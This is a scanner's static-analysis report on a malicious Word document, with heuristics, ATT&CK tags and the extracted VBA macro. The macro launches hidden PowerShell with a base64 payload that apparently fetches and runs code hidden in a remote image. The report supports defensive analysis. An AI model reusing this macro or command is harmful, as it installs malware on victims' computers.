Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 3f8f70fe64445b4b…

MALICIOUS

Office (OOXML)

60.7 KB Created: 2020-12-16 10:18:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-09-16
MD5: 1a2b1e6889986ed7b4ae0e8c7e51d2b4 SHA-1: 20da17e2f6ec6f033497cc8225e763f5c4e3aa21 SHA-256: 3f8f70fe64445b4b0c6e25599c4efe9798eec1ca142d24b61040387d0dd982d3
382 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains a VBA macro that automatically executes upon opening the document. This macro utilizes WScript.Shell and CreateObject to launch a PowerShell command. The PowerShell command appears to be obfuscated but is designed to download and execute a second-stage payload, indicated by the 'powershell -nop -sta -ep bypass -noni -w h' string and the 'EXTRACTED_FILE_STATIC_TRIAGE' heuristic firing. The presence of a Document_Open macro and the use of PowerShell are strong indicators of a malicious downloader.

Heuristics 10

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 5557 bytes
SHA-256: 116fad3893fc70cb7a8fa12e9b57862086b38f7fc5f17eca74983b552444f9f2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains a PowerShell -EncodedCommand style payload. Carved artifact contains 6 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "ComboBox11, 11, 2, MSForms, ComboBox"
Attribute VB_Control = "ComboBox1, 10, 3, MSForms, ComboBox"
Attribute VB_Control = "CommandButton1, 9, 4, MSForms, CommandButton"
Attribute VB_Control = "TextBox1, 8, 5, MSForms, TextBox"
Attribute VB_Control = "CheckBox5, 7, 6, MSForms, CheckBox"
Attribute VB_Control = "CheckBox4, 6, 7, MSForms, CheckBox"
Attribute VB_Control = "CheckBox3, 5, 8, MSForms, CheckBox"
Attribute VB_Control = "CheckBox2, 4, 9, MSForms, CheckBox"
Attribute VB_Control = "CheckBox1, 3, 10, MSForms, CheckBox"
Attribute VB_Control = "OptionButton3, 2, 11, MSForms, OptionButton"
Attribute VB_Control = "OptionButton2, 1, 12, MSForms, OptionButton"
Attribute VB_Control = "OptionButton1, 0, 13, MSForms, OptionButton"
Private Sub CommandButton1_Click()
MsgBox "Thank you for completion.Your form has been submmited."
End Sub

Sub document_open()

Debug.Print 'aaa'
OptionButton1.Locked = False
OptionButton2.Locked = False
OptionButton3.Locked = False
CheckBox1.Locked = False
CheckBox2.Locked = False
CheckBox3.Locked = False
CheckBox4.Locked = False
CheckBox5.Locked = False

With Me.ComboBox1
    .AddItem "USB 3.1"
    .AddItem "USB C"
    .AddItem "HDMI"
    .AddItem "VGA"
    .AddItem "Display Port"
    .AddItem "DVI"
End With

With Me.ComboBox11
.AddItem "Intel"
.AddItem "AMD"
.AddItem "NVIDIA"
.AddItem "Qualcomm"
End With
End Sub


Private Sub OptionButton1_Click()
cmd = "powershell -nop -sta -ep bypass -noni -w hidden -enc cwBhAGwAIABxAHcAZQByAHQAeQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAOwBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwAkAHcAZQBrAHIAbQA9AHEAdwBlAHIAdAB5ACAAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4AQgBpAHQAbQBhAHAAKAAoAHEAdwBlAHIAdAB5ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ATwBwAGUAbgBSAGUAYQBkACgAIgBoAHQAdABwAHMAOgAvAC8AaQAuAGkAbQBnAHUAcgAuAGMAbwBtAC8AZwA0AEEAUwByAE0AMgAuAHAAbgBnACIAKQApADsAJAB6AHgAbQBrAHcAPQBxAHcAZQByAHQAeQAgAEIAeQB0AGUAWwBdACAANgAzADMANgAwADsAKAAwAC4ALgAzADIAKQB8ACUAewBmAG8AcgBlAGEAYwBoACgAJABoAGUAawBtAHIAIABpAG4AKAAwAC4ALgAxADkAMQA5ACkAKQB7ACQAbQBlAHIAawBnAD0AJAB3AGUAawByAG0ALgBHAGUAdABQAGkAeABlAGwAKAAkAGgAZQBrAG0AcgAsACQAXwApADsAJAB6AHgAbQBrAHcAWwAkAF8AKgAx" & _
"ADkAMgAwACsAJABoAGUAawBtAHIAXQA9ACgAWwBtAGEAdABoAF0AOgA6AEYAbABvAG8AcgAoACgAJABtAGUAcgBrAGcALgBCAC0AYgBhAG4AZAAxADUAKQAqADEANgApAC0AYgBvAHIAKAAkAG0AZQByAGsAZwAuAEcAIAAtAGIAYQBuAGQAIAAxADUAKQApAH0AfQA7AEkARQBYACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAHoAeABtAGsAdwBbADAALgAuADYAMwAxADYANwBdACkAKQAKAA=="
Dim Shell As Object
Set Shell = CreateObject("WScript.Shell")
Shell.Run (cmd)
End Sub

Private Sub OptionButton2_Click()
cmd = "powershell -nop -sta -ep bypass -noni -w hidden -enc cwBhAGwAIABxAHcAZQByAHQAeQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAOwBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwAkAHcAZQBrAHIAbQA9AHEAdwBlAHIAdAB5ACAAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4AQgBpAHQAbQBhAHAAKAAoAHEAdwBlAHIAdAB5ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ATwBwAGUAbgBSAGUAYQBkACgAIgBoAHQAdABwAHMAOgAvAC8AaQAuAGkAbQBnAHUAcgAuAGMAbwBtAC8AZwA0AEEAUwByAE0AMgAuAHAAbgBnACIAKQApADsAJAB6AHgAbQBrAHcAPQBxAHcAZQByAHQAeQAgAEIAeQB0AGUAWwBdACAANgAzADMANgAwADsAKAAwAC4ALgAzADIAKQB8ACUAewBmAG8AcgBlAGEAYwBoACgAJABoAGUAawBtAHIAIABpAG4AKAAwAC4ALgAxADkAMQA5ACkAKQB7ACQAbQBlAHIAawBnAD0AJAB3AGUAawByAG0ALgBHAGUAdABQAGkAeABlAGwAKAAkAGgAZQBrAG0AcgAsACQAXwApADsAJAB6AHgAbQBrAHcAWwAkAF8AKgAx" & _
"ADkAMgAwACsAJABoAGUAawBtAHIAXQA9ACgAWwBtAGEAdABoAF0AOgA6AEYAbABvAG8AcgAoACgAJABtAGUAcgBrAGcALgBCAC0AYgBhAG4AZAAxADUAKQAqADEANgApAC0AYgBvAHIAKAAkAG0AZQByAGsAZwAuAEcAIAAtAGIAYQBuAGQAIAAxADUAKQApAH0AfQA7AEkARQBYACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBlAHQAUwB0AHI
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 39936 bytes
SHA-256: 07a207d41d5669719706ae493e174c74252cb42b8139c97726edb721942901d7
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains a PowerShell -EncodedCommand style payload. Carved artifact contains 6 long base64-like blob(s).

Open this report in the interactive analyzer, or submit your own file for analysis.